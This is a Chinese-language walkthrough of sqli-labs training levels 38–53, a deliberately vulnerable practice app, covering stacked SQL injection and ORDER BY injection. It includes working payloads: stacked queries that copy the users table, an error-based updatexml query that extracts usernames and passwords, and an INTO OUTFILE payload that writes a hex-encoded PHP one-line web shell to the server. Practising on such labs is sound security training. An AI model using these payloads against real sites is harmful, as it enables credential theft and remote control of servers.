sqli-labs less38-53(堆叠注入 order by之后相关注入)
堆叠注入
考察order by相关注入
Stacked injections(堆叠注入):一堆sql语句放在一起执行。
- 堆叠注入原理:在sql语句中,用分号(;)结束一句sql语句,如果在结束一句sql语句的同时继续构造下一条语句并且执行,就是堆叠注入。堆叠注入可以执行的是任意的语句.
less-38
知道原理后接下来开始测试:
- ?id=1‘ --+
- 拼接语句,前一句和后一句用分号隔开
1'; create table A2rcher like users ;--+
数据库中有a2rcher表,说明sql语句执行生效。
- 1';create table zjh1 like users;insert into zjh1 select *from users; --+
数据就出来了
less-39
与38不同的是闭合方式。数字型
less-40
第40关报错不回显。测试了一下闭合方式是('')
less-41
id=1' 没有回显,看了下源码同39
less-42
过滤函数mysqli_real_escape_string()
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST ["login_password"];
burp抓包,passwd处修改报错注入
- 1' and updatexml(1,concat(0x5e,substr((select group_concat(username,0x7e,password) from users),1,31),0x5e),1) #&mysubmit=Login
less-43
闭合方式不同 ('')
less-44
没有回显信息 id=’1‘
less-45
没有回显信息 id=(’1‘)
46-53考察order by相关注入
desc:降序
asc:升序
less-46
'Please input parameter as SORT with numeric value'
用sort代替id传参
- sort=1
- sort-2
- sort=3
sort-4报错
- 时间盲注猜测字段
less-47
包裹方式的不同,用?sort=1'包裹,其他与Less-46相同
less-48
无包裹,无错误回显,与Less-46相同less-49
sort=1'包裹,无错误回显,但是这一关可以用outfile上传一句话奇怪的知识又增加了呢!
使用line terminal by语句 使得一句话木马在结尾部分输出,并且一句话木马要转成十六进制
payload:
?sort=1'into outfile '路径\webshell.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e --+
less-50
报错注入
less-51
用?sort=1'包裹法一:延时注入
法二:报错注入
法三:写入一句话木马 以上三种方法参考上面。
法四:使用堆叠注入创建新的users表。
法五:使用堆叠注入写入一句话木马。
less-52
无包裹,无报错回显
法一:延时注入
法二:写入一句话木马 以上三种方法参考上面。
法三:使用堆叠注入创建新的users表。
法四:使用堆叠注入写入一句话木马
less-53
用?sort=1'包裹
法一:延时注入
法二:写入一句话木马 以上三种方法参考上面。
法三:使用堆叠注入创建新的users表。
法四:使用堆叠注入写入一句话木马。